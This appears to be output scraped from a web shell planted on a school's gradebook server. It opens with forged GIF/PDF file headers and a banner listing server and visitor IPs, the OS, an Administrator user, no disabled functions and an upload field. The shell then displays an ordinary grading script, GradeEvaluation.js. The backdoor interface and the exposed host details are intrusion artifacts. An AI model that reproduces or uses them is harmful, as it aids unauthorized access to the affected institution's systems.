GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
// Gradebook/GradeEvaluation.js // DisableButtons() // Will disable all form buttons. function DisableButtons() { // Get all buttons. var Buttons = document.querySelectorAll("input[type=button]"); for ( var i=0; i<Buttons.length; i++ ) { Buttons[i].style.visibility = 'hidden'; } } // END DisableButtons. // gradeZeroRequestSubmission(gId) // Set the grade to 0. Enter a comment that the eval is past due and ask for eval completion and submission. // gId = gradeId. function gradeZeroRequestSubmission(gId) { console.log('EvalCritical='+EvalCritical); if ( document.getElementById('id_comment_'+gId).value != '' ) { if ( document.getElementById('id_internal_'+gId).value != '' ) document.getElementById('id_internal_'+gId).value = "\n\n" + document.getElementById('id_internal_'+gId).value; document.getElementById('id_internal_'+gId).value = document.getElementById('id_comment_'+gId).value + document.getElementById('id_internal_'+gId).value; } document.getElementById('id_comment_'+gId).value = 'You did not submit '+Course+' '+Title+' by the date it was due.\nYour grade has been entered as 0.'; if ( EvalCritical ) { document.getElementById('id_comment_'+gId).value += '\n'+Title+' is critical. You cannot pass '+Course+' without passing this lab.'; } document.getElementById('id_comment_'+gId).value += '\nIf you wish to improve your F grade please complete and submit '+Course+' '+Title+'.\n'; document.getElementById('id_grade_'+gId).value = '0'; //gradeIdSet(document.getElementById('id_grade_button_'+gId),gId); //return; submitForm(document.getElementById('id_grade_button_'+gId),gId); } // END gradeZeroRequestSubmission. // gradeIdSet(e_button,gId) // Set the gradeId and submit the form. // e_button = Task button to use for submit. // gId = gradeId. function gradeIdSet(e_button,gId) { //alert('gradeIdSet('_e_button.Id+','+gId+')'); document.getElementById('id_gId_'+gId).value = gId; submitForm(e_button,gId); } // END gradeIdSet. // clearComment() // Move the grade comments to internal comments. function clearComment(gId) { //alert('clearComment('+gId+')'); if ( document.getElementById('id_comment_'+gId).value != '' ) { if ( document.getElementById('id_internal_'+gId).value != '' ) document.getElementById('id_internal_'+gId).value = "\n\n" + document.getElementById('id_internal_'+gId).value; // Add two newlines to the beginning of internal comments. document.getElementById('id_internal_'+gId).value = document.getElementById('id_comment_'+gId).value + document.getElementById('id_internal_'+gId).value; // Add the comments to the beginning of internal comments. } document.getElementById('id_comment_'+gId).value = ''; // Clear comments. } // END clearComment. // CalcGrade(points, gId) // Calculate the grade from the comments. // points = grade points. // gId = gradeId. function CalcGrade(points, gId) { //alert('setGrade('+grade+','+gId+')'); let calculatedPointsDeducted = 0; let eComments = document.getElementById('id_comment_'+gId); let Comments = eComments.value; let CommentLines = Comments.split("\n"); let CommentLinesCount = CommentLines.length; CommentLines.unshift(''); //console.log('Comments='+Comments); //console.log('CommentLines='+CommentLines); let i; for ( i=1; i<=CommentLinesCount; i++ ) { console.log(i+':'+TB+CommentLines[i]); } // Determine if simple +- calc or date+ calc. let eCalcType = document.getElementById('CalcType'); let grade = false; let CalcType = DetermineCalcType(); switch ( CalcType ) { case 'date': grade = 0; for (i = 1; i <= CommentLinesCount; i++) { let lineParts = CommentLines[i].split(' '); if (Date.parse(lineParts[0])) { let linePart = lineParts[1]; if ( linePart === '' ) linePart = lineParts[2]; if ( linePart === '' ) linePart = lineParts[3]; let gradeAdd = parseFloat(linePart); grade += gradeAdd; console.log(`line: ${CommentLines[i]}: part: ${linePart}, points: ${gradeAdd}, grade: ${grade}.`); } } console.log('calculatedPointsDeducted = '+calculatedPointsDeducted); if ( isNaN(grade) ) { // Do not allow Nan grade. eCalcType.innerHTML = `The date calc was NaN.`; grade = false; } break; case 'numb': for(let i = 1; i <= CommentLinesCount; i++) { // Loop thru comments. let lineParts = CommentLines[i].split(' '); console.log(PC+i+':'+TB+CommentLines[i]+' [0]='+lineParts[0],CL); if ( lineParts[0].substr(0,1) === '+' || lineParts[0].substr(0,1) === '-' ) { // Does the line begin with + or -? let PointChange = parseFloat(lineParts[0]); if (!isNaN(PointChange)) { // Is this a number? calculatedPointsDeducted += PointChange; console.log(`${PC}PointChange = ${PointChange}, total deduction = ${calculatedPointsDeducted}.`,CS ); } else { console.log(`${PC}Skipped line ${i}`,CL ); } } else { // Does the line begin with + or -? console.log(`${PC}Skipped line ${i}`,CL ); } // Does the line begin with + or -? } // Loop thru comments. console.log('calculatedPointsDeducted = '+calculatedPointsDeducted); if ( calculatedPointsDeducted > 0 ) { calculatedPointsDeducted = 0; } // Do not allow extra points. grade = points + calculatedPointsDeducted; break; default: eCalcType.innerHTML = `Unable to determine calculation type.`; } console.log('grade = '+grade+' points = '+points); if ( grade !== false ) { if ( grade > points ) { console.log(PC+`grade (${grade}) > points (${points}) and changed.`,CD); grade = points; } else if ( grade < 0 ) { console.log(PC+`grade (${grade}) < 0 and changed.`,CD); grade = 0; } let e_grade = document.getElementById('id_grade_'+gId); e_grade.value = grade; eCalcType.innerHTML = eCalcType.innerHTML + ` Grade = ${grade}.`; } // DetermineCalcType() // Determines the calculation type for the grade. function DetermineCalcType() { var DEBUG = true; if ( DEBUG ) { console.groupCollapsed(PC+'DetermineCalcType[]',CG); } let CalcType = 'none'; for ( let i = 1; i <= CommentLinesCount; i++ ) { //CommentLinesCount let lineParts = CommentLines[i].split(' '); console.log(`line ${i}: ${CommentLines[i]}\n\t${lineParts[0]}\n\t int: ${parseInt(lineParts[0])}, date: ${Date.parse(lineParts[0])}.`); if (Date.parse(lineParts[0]) && lineParts[0].length === 10) { // This is a date. CalcType = 'date'; break; } if (parseFloat(lineParts[0])) { // This is a +- number. CalcType = 'numb'; break; } } eCalcType.innerHTML = `Calc type is ${CalcType}.`; eCalcType.style.display = 'inline'; if ( DEBUG ) { console.groupEnd(); } console.info(PC+`CalcType is ${CalcType}.`,CS); return CalcType; } // END DetermineCalcType. } // END CalcGrade. // setGrade(grade,gId) // Set f_task, f_grade, and submit the form. // grade = grade. // gId = gradeId. function setGrade(grade,gId) { //alert('setGrade('+grade+','+gId+')'); let e_grade = document.getElementById('id_grade_'+gId); e_grade.value = grade; //gradeIdSet(document.getElementById('id_grade_button_'+gId),gId) submitForm(document.getElementById('id_grade_button_'+gId),gId); } // END setGrade. // submitForm(e_button,gId) // The for task and submit the form. // e_button = Task to set. // gId = grade Id. function submitForm(e_button,gId) { //alert('submitForm('+e_button.id+','+gId+')'); console.warn('submitForm('+e_button.id+','+gId+')'); let e_form = e_button.form; let e_task = document.forms[e_form.name].elements['id_task_'+gId]; e_task.value = e_button.value; document.forms[e_form.name].submit(); } // END submitForm. // textareaResize(e) // Resize the textarea to fit its content. function textareaResize(e) { console.log(`${PC}textareaResize[e.id=${e.id}]`,CG); e.style.height = 'auto'; e.style.height = e.scrollHeight+'px'; var eh = Math.max(50,parseInt(e.style.height)); if ( eh > 50 ) e.style.height = eh+10+'px'; } function viewLab() { console.warn('viewLab['+labPath+']'); openCenteredWindow(labPath,1080,700,'Lab') } // END viewLab.